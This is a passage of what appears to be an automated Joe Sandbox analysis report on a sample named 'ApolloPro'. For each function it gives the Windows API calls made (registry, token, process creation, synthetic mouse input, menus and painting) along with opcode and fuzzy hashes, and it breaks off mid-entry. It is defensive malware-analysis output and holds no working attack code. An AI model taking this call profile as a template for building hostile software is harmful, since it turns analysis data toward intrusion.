                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                                    • String ID: RoUninitialize$combase.dll
                                                                    • API String ID: 3489934621-2819208100
                                                                    • Opcode ID: 41f30aacfe0531f38e5ad455619fb0ddbcccc98a659ea9b7895d7d22516f473f
                                                                    • Instruction ID: ec7cce1694e66590c794a31c22e071748f021152d7d15ef64d4c609d90b7d01a
                                                                    • Opcode Fuzzy Hash: 41f30aacfe0531f38e5ad455619fb0ddbcccc98a659ea9b7895d7d22516f473f
                                                                    • Instruction Fuzzy Hash: 03E0B674950B00ABEB119F60ED0DB463A64B711B43F90052AF205D52F4CBF89684CE20
                                                                    Function 007B218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetClientRect.USER32(?,?), ref: 007B21B8
                                                                    • GetWindowRect.USER32(?,?), ref: 007B21F9
                                                                    • ScreenToClient.USER32(?,?), ref: 007B2221
                                                                    • GetClientRect.USER32(?,?), ref: 007B2350
                                                                    • GetWindowRect.USER32(?,?), ref: 007B2369
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Rect$Client$Window$Screen
                                                                    • String ID:
                                                                    • API String ID: 1296646539-0
                                                                    • Opcode ID: 91f8cd080029d48841463a8afedb83f1129eec2ae60484295a7a1dcc144757ec
                                                                    • Instruction ID: c435f1fe7645bc657f3458ec9779dc3756e9ee6296db67c6ae27a6bebe6a43e1
                                                                    • Opcode Fuzzy Hash: 91f8cd080029d48841463a8afedb83f1129eec2ae60484295a7a1dcc144757ec
                                                                    • Instruction Fuzzy Hash: 4EB19039901249DBDF10CFA9C4807EEBBB1FF08310F148129ED59EB255DB38AA51CB54
                                                                    Function 00816A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 3253778849-0
                                                                    • Opcode ID: d5589003196242d504a5bcfb2fada58166f6cb3131bce6c7d0070af9e113e146
                                                                    • Instruction ID: 08f1c57c03d43bebdbe5615a9d685eba02a06ddbeab4ea9c1f33be9d7c5a7aa0
                                                                    • Opcode Fuzzy Hash: d5589003196242d504a5bcfb2fada58166f6cb3131bce6c7d0070af9e113e146
                                                                    • Instruction Fuzzy Hash: D4619D3050029AEBCB11EF64CC95FFE37A8FF05308F444559F995AB292EB389995CB90
                                                                    Function 00830844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0083147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0083040D,?,?), ref: 00831491
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0083091D
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0083095D
                                                                    • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00830980
                                                                    • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 008309A9
                                                                    • RegCloseKey.ADVAPI32(?,?,00000000), ref: 008309EC
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 008309F9
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                                    • String ID:
                                                                    • API String ID: 4046560759-0
                                                                    • Opcode ID: ceb8a3cdaf8294a24085e7dcce13b54b3c02450c698174c4673f09736cd8d5c8
                                                                    • Instruction ID: 8d9728c3c4c207f8a52bf4848879ac7b11e94180b187df6f792e721e443442fd
                                                                    • Opcode Fuzzy Hash: ceb8a3cdaf8294a24085e7dcce13b54b3c02450c698174c4673f09736cd8d5c8
                                                                    • Instruction Fuzzy Hash: 90515931208204EFD710EB64C899E6BBBA9FF85314F04491DF995872A2DB35E905CB92
                                                                    Function 00835DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetMenu.USER32(?), ref: 00835E38
                                                                    • GetMenuItemCount.USER32(00000000), ref: 00835E6F
                                                                    • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00835E97
                                                                    • GetMenuItemID.USER32(?,?), ref: 00835F06
                                                                    • GetSubMenu.USER32(?,?), ref: 00835F14
                                                                    • PostMessageW.USER32(?,00000111,?,00000000), ref: 00835F65
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$CountMessagePostString
                                                                    • String ID:
                                                                    • API String ID: 650687236-0
                                                                    • Opcode ID: 8a4f712c5516fde24329b5bdf804291345513c8e840495c7d447a73a9a3a9dfb
                                                                    • Instruction ID: 7ec34600255e6a67c2a876ccc74848d588d422198e6eb105187b81b920c3d1f9
                                                                    • Opcode Fuzzy Hash: 8a4f712c5516fde24329b5bdf804291345513c8e840495c7d447a73a9a3a9dfb
                                                                    • Instruction Fuzzy Hash: 89516875A01A19EFCB11EF64C845AAEB7B5FF88320F104459E911BB391CB34AE418BD1
                                                                    Function 0080F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 0080F6A2
                                                                    • VariantClear.OLEAUT32(00000013), ref: 0080F714
                                                                    • VariantClear.OLEAUT32(00000000), ref: 0080F76F
                                                                    • _memmove.LIBCMT ref: 0080F799
                                                                    • VariantClear.OLEAUT32(?), ref: 0080F7E6
                                                                    • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0080F814
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$Clear$ChangeInitType_memmove
                                                                    • String ID:
                                                                    • API String ID: 1101466143-0
                                                                    • Opcode ID: 62bb97280c3f272c9408f665564c7e73b5b7bedf096d7127412069af0e148ed6
                                                                    • Instruction ID: 140053b9df1d0c37221e6c6518172833e303446e52fc4990eed7859f61ac3df9
                                                                    • Opcode Fuzzy Hash: 62bb97280c3f272c9408f665564c7e73b5b7bedf096d7127412069af0e148ed6
                                                                    • Instruction Fuzzy Hash: 5C515E75A00209EFDB24CF58C884AAAB7F8FF4D314B15856AEA59DB341D730E911CF90
                                                                    Function 008129B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 008129FF
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00812A4A
                                                                    • IsMenu.USER32(00000000), ref: 00812A6A
                                                                    • CreatePopupMenu.USER32 ref: 00812A9E
                                                                    • GetMenuItemCount.USER32(000000FF), ref: 00812AFC
                                                                    • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00812B2D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                    • String ID:
                                                                    • API String ID: 3311875123-0
                                                                    • Opcode ID: dacfed8eb9fdcf945f7caff295dfc0d57b5be6037be80e2bd238b9e5cac5a6aa
                                                                    • Instruction ID: ada7a1b53762f322faf5d5afa4a40e33f5dfa40f5cfd8daec6c2bc423c3d36c1
                                                                    • Opcode Fuzzy Hash: dacfed8eb9fdcf945f7caff295dfc0d57b5be6037be80e2bd238b9e5cac5a6aa
                                                                    • Instruction Fuzzy Hash: E151BD70604259DFCF25CF68D888AEEBBF8FF15328F104159E816EB2A1D77099A4CB51
                                                                    Function 007B1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • BeginPaint.USER32(?,?,?,?,?,?), ref: 007B1B76
                                                                    • GetWindowRect.USER32(?,?), ref: 007B1BDA
                                                                    • ScreenToClient.USER32(?,?), ref: 007B1BF7
                                                                    • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 007B1C08
                                                                    • EndPaint.USER32(?,?), ref: 007B1C52
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                                    • String ID:
                                                                    • API String ID: 1827037458-0
                                                                    • Opcode ID: a1db5b43fb8a2c3b84b568a1906b006e26edc8f485fffaa6a2f877145223dc14
                                                                    • Instruction ID: 26d479f01747d86c7b55ead7057caad589c2f98e0fe8902e69c6990a5fb28f27
                                                                    • Opcode Fuzzy Hash: a1db5b43fb8a2c3b84b568a1906b006e26edc8f485fffaa6a2f877145223dc14
                                                                    • Instruction Fuzzy Hash: 3D41BE71104300AFD711DF24CC98FAB7BF8FB5A364F540669FAA9872A2C7349845DB62
                                                                    Function 0083BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ShowWindow.USER32(008777B0,00000000,01555C80,?,?,008777B0,?,0083BC1A,?,?), ref: 0083BD84
                                                                    • EnableWindow.USER32(?,00000000), ref: 0083BDA8
                                                                    • ShowWindow.USER32(008777B0,00000000,01555C80,?,?,008777B0,?,0083BC1A,?,?), ref: 0083BE08
                                                                    • ShowWindow.USER32(?,00000004,?,0083BC1A,?,?), ref: 0083BE1A
                                                                    • EnableWindow.USER32(?,00000001), ref: 0083BE3E
                                                                    • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0083BE61
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Show$Enable$MessageSend
                                                                    • String ID:
                                                                    • API String ID: 642888154-0
                                                                    • Opcode ID: 7678d623d64a0ac7b55a0db57bba25d90dd31eef5d129f3f3d46d6b24a6f4424
                                                                    • Instruction ID: d511452ee3f6282e9a5bae11b965c00e273c9e57025c944bb82a4b4b23e61493
                                                                    • Opcode Fuzzy Hash: 7678d623d64a0ac7b55a0db57bba25d90dd31eef5d129f3f3d46d6b24a6f4424
                                                                    • Instruction Fuzzy Hash: AF416DB5600244AFDB22CF28C489BD57BE1FF86314F1841A9EB49CF2A2C731AC45CB91
                                                                    Function 00827788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetForegroundWindow.USER32(?,?,?,?,?,?,0082550C,?,?,00000000,00000001), ref: 00827796
                                                                      • Part of subcall function 0082406C: GetWindowRect.USER32(?,?), ref: 0082407F
                                                                    • GetDesktopWindow.USER32 ref: 008277C0
                                                                    • GetWindowRect.USER32(00000000), ref: 008277C7
                                                                    • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 008277F9
                                                                      • Part of subcall function 008157FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00815877
                                                                    • GetCursorPos.USER32(?), ref: 00827825
                                                                    • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00827883
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                    • String ID:
                                                                    • API String ID: 4137160315-0
                                                                    • Opcode ID: b5f49a889488491f24ca283545a9050e8c9ec0c781717e4b0c75de9565e31297
                                                                    • Instruction ID: 86be0af6ccdd20c7c7236a75ef5a4db1e9fa3ec370be5e5d06cb650b114d487b
                                                                    • Opcode Fuzzy Hash: b5f49a889488491f24ca283545a9050e8c9ec0c781717e4b0c75de9565e31297
                                                                    • Instruction Fuzzy Hash: 6831EE32108315ABD720DF559849E9BB7E9FF89314F00092AF999E7181CA30E948CBA6
                                                                    Function 00809431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00808CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00808CDE
                                                                      • Part of subcall function 00808CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00808CE8
                                                                      • Part of subcall function 00808CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00808CF7
                                                                      • Part of subcall function 00808CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00808CFE
                                                                      • Part of subcall function 00808CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00808D14
                                                                    • GetLengthSid.ADVAPI32(?,00000000,0080904D), ref: 00809482
                                                                    • GetProcessHeap.KERNEL32(00000008,00000000), ref: 0080948E
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00809495
                                                                    • CopySid.ADVAPI32(00000000,00000000,?), ref: 008094AE
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,0080904D), ref: 008094C2
                                                                    • HeapFree.KERNEL32(00000000), ref: 008094C9
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                                    • String ID:
                                                                    • API String ID: 3008561057-0
                                                                    • Opcode ID: 02d0c6dfd9e02ff8895fbbc342ab9ba4ed0a701b8f30035e80c771c0caf66d67
                                                                    • Instruction ID: 54328523f3ce09511738f1e1c73416e864fe4ee930cf8b9834739de1a915ffbf
                                                                    • Opcode Fuzzy Hash: 02d0c6dfd9e02ff8895fbbc342ab9ba4ed0a701b8f30035e80c771c0caf66d67
                                                                    • Instruction Fuzzy Hash: 1C110036600A04FFDB508FA4CC09FAFBBA9FF42316F108018E981D7251C7369901CB64
                                                                    Function 008091CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00809200
                                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 00809207
                                                                    • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00809216
                                                                    • CloseHandle.KERNEL32(00000004), ref: 00809221
                                                                    • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00809250
                                                                    • DestroyEnvironmentBlock.USERENV(00000000), ref: 00809264
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                    • String ID:
                                                                    • API String ID: 1413079979-0
                                                                    • Opcode ID: 23ceabdd65e3df59e6b0d6f2ba7856a96d69b589c37c0b2cf412d8e9624fa503
                                                                    • Instruction ID: 615ac9b343703b2fcb0f698e0a61677b426cfb19373eee07952a28bad21d9d71
                                                                    • Opcode Fuzzy Hash: 23ceabdd65e3df59e6b0d6f2ba7856a96d69b589c37c0b2cf412d8e9624fa503
                                                                    • Instruction Fuzzy Hash: 1E11477650120EABDB518F94ED49BDA7BA9FB09304F044015FE44A21A1C2769D60EB61
                                                                    Function 0080C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDC.USER32(00000000), ref: 0080C34E
                                                                    • GetDeviceCaps.GDI32(00000000,00000058), ref: 0080C35F
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0080C366
                                                                    • ReleaseDC.USER32(00000000,00000000), ref: 0080C36E
                                                                    • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0080C385
                                                                    • MulDiv.KERNEL32(000009EC,?,?), ref: 0080C397
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CapsDevice$Release
                                                                    • String ID:
                                                                    • API String ID: 1035833867-0
                                                                    • Opcode ID: 6e356695537588f48ea353752d571d57c9675c47b778836af98c972d5b0f9631
                                                                    • Instruction ID: ba882d635c563e6832422dc65ac74a420b1cf2299c303095097537ba6d0f381c
                                                                    • Opcode Fuzzy Hash: 6e356695537588f48ea353752d571d57c9675c47b778836af98c972d5b0f9631
                                                                    • Instruction Fuzzy Hash: BB012175E00318BBEB109BA59C49A5ABFA8FB59751F004065FE08E7280D6709910CFA1
                                                                    Function 0083C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007B1729
                                                                      • Part of subcall function 007B16CF: SelectObject.GDI32(?,00000000), ref: 007B1738
                                                                      • Part of subcall function 007B16CF: BeginPath.GDI32(?), ref: 007B174F
                                                                      • Part of subcall function 007B16CF: SelectObject.GDI32(?,00000000), ref: 007B1778
                                                                    • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0083C57C
                                                                    • LineTo.GDI32(00000000,00000003,?), ref: 0083C590
                                                                    • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0083C59E
                                                                    • LineTo.GDI32(00000000,00000000,?), ref: 0083C5AE
                                                                    • EndPath.GDI32(00000000), ref: 0083C5BE
                                                                    • StrokePath.GDI32(00000000), ref: 0083C5CE
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                                    • String ID:
                                                                    • API String ID: 43455801-0
                                                                    • Opcode ID: d5eea58bf68c79b70bcbad200958af2cb660455755be23a48d45d2a3af98d8a7
                                                                    • Instruction ID: f9bdc3cf29de92bfd7e80f9ee230d074d67f720dea20fb5dfb50918897b8d186
                                                                    • Opcode Fuzzy Hash: d5eea58bf68c79b70bcbad200958af2cb660455755be23a48d45d2a3af98d8a7
                                                                    • Instruction Fuzzy Hash: 6011C97600410DBFDB129F90DC88FAA7FADFB09354F048061BA189A161D771AE95DFA0
                                                                    Function 007D07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MapVirtualKeyW.USER32(0000005B,00000000), ref: 007D07EC
                                                                    • MapVirtualKeyW.USER32(00000010,00000000), ref: 007D07F4
                                                                    • MapVirtualKeyW.USER32(000000A0,00000000), ref: 007D07FF
                                                                    • MapVirtualKeyW.USER32(000000A1,00000000), ref: 007D080A
                                                                    • MapVirtualKeyW.USER32(00000011,00000000), ref: 007D0812
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 007D081A
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
